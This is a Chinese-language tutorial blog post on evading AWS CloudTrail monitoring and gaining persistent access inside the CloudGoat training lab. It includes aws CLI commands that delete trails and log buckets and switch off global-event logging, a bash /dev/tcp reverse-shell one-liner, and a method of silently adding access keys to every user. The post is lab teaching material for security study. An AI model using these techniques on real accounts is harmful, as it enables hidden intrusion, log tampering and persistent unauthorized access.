在第一篇文章中,我分享了一个AWS提权实例:从一个仅有EC2权限的账户提权至管理员权限。今天,我将继续本系列,向大家展示如何绕过监控系统和如何实现持久访问。
CloudTrail服务会监控所有的AWS活动。亚马逊是这样介绍它的:
“AWS CloudTrail 是一项 AWS 服务,可帮助对您的 AWS 账户进行监管、合规性检查、操作审核和风险审核。用户、角色或 AWS 服务执行的操作将记录为 CloudTrail 中的事件。事件包括在 AWS 管理控制台、AWS Command Line Interface 和 AWS 开发工具包和 API 中执行的操作。简化了安全性分析,资源更改检测,故障排除等过程。”
换句话说,CloudTrail是个“老大哥”,监视着用户的所有行为。很显然,攻击者拿下一个脆弱的环境后,第一件事就是绕过检测系统,清除痕迹。如果攻击者拿下了管理员权限,实现这些并不是不可能的。
CloudTrail服务默认是关闭的,管理员可以配置它。你可以设置“trails”来自定义监视的内容。
回到CloudGoat平台,让我们来看看CloudTrail监视的范围。
可以看到,所有的日志文件都存储在一个名为“8678170722044418295491212493322823229141751439696325418”的S3储存桶中。还有CloudGoat中的CloudTrail仅监视了“us-west-2”区域。所以我们可以开展区域外的行动了,比如我们创建在其他区域创建一个新实例,这并不会被CloudTrail监控到。还有一点,请注意,使用全球服务将会被记录下来,像“IAM”(比如创建一个备用账户)。那么,攻击者如何绕过CloudTrail监控服务?
首先,所有的入侵者都会想到这点。暂停服务用以下简单的命令实现:
然后,攻击者可能会执行一些有害操作(例如窃取数据,创建IAM备用账户,创建新实例用于挖矿)。完成攻击后,可以以下命令启动CloudTrail:
$ aws cloudtrail start-logging --name cloudgoat_trail --profile administrator
通过删除所有trail也可以中止CloudTrail服务:
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
或者,你移除存储日志信息的储存桶也可以做到(你过你那么做,记住添加一个force
标签,否则你即使有管理员权限也无法删除储存桶)
在删除trails或者储存桶后,CloudTrail将处于宕机状态。还有一点,这两个方法有点高调,因为CloudTrail中会有最终的回显。例如当你删除了储存桶后,CloudTrail会有这样的提示:
GuardDuty(另一个监控服务)也会对CloudTrail服务的异常状态发出警报:
如果开启了CloudTrail,它默认监视所有区域。然而我们的CloudGoat平台中仅监视“us-west-2” 区域,所以我们可以在其他区域创建EC2实例,而不用担心被监控到。
对于全球服务,前面已经说过了,任何操作都会被监控到。幸运的是,你可以用标签include-global-service-events
关闭全球服务中的事件监视。为了验证是否有效,我创建了一个用户“test1”,然后关闭了全球服务事件监视:
然后我创建了用户“test2”:
我用Bob的密钥暂停了EC2实例(检查“us-west-2”的所有事件是否正确记录)。在CloudTrail中,可以看到这里有记录”test1“用户的创建,而没有”test2“的记录:
用这种方法,攻击者可以绕过CloudTrail服务的监视。还有其他的方法避免被CloudTrail记录:
如果这些方法不切合实际情况,Daniel Grzelak的一篇文章可能会帮到你。
需要注意的是,以上所有方法虽然可以避免CloudTrail日志被记录到储存桶中,但是所有的操作还是会CloudTrail事件系统储存90天。包括所有区域的事件都会被储存且无法关闭存储系统。这里你可以了解详情。
在获取管理员权限,并且知道如何绕过CloudTrail监视器后,那么是时候在该环境实现持久访问了。有很多方法可以在该环境下留下后门,比如:
bash -i >& /dev/tcp/[your_ip]/[your_port] 0>&1
或者获取SSH密钥认证)较好的方法是给现有的用户分配额外的密钥,aws pwn可以帮助你做到这点。然而aws pwn还可以帮助你自动化地完成很多事:
让我们回到CloudGoat平台环境,给所有用户添加密钥:
好的,现在所有用户都有两个密钥了。我们可以再AWS管理中心看到:
有趣的是,用户不会收到添加密钥的通知。对于CloudTrail来说,因为关闭了全球服务事件的通知,所以不会有日志记录。那么,GuardDuty(AWS监控系统)会有什么不同?
Amazon是这样描述GuardDuty服务的“
Amazon GuardDuty 是一种智能威胁检测服务,帮助保护您的 AWS 账户和工作负载。”
所以,它不会把有权限地IAM用户正常创建新密钥识别为异常活动:
这篇文章介绍了绕过CloudTrail监视系统和如何实现持久访问。你应该发现了,这不是一项艰巨的任务。那么,我们该如何防止这些东西发生呢?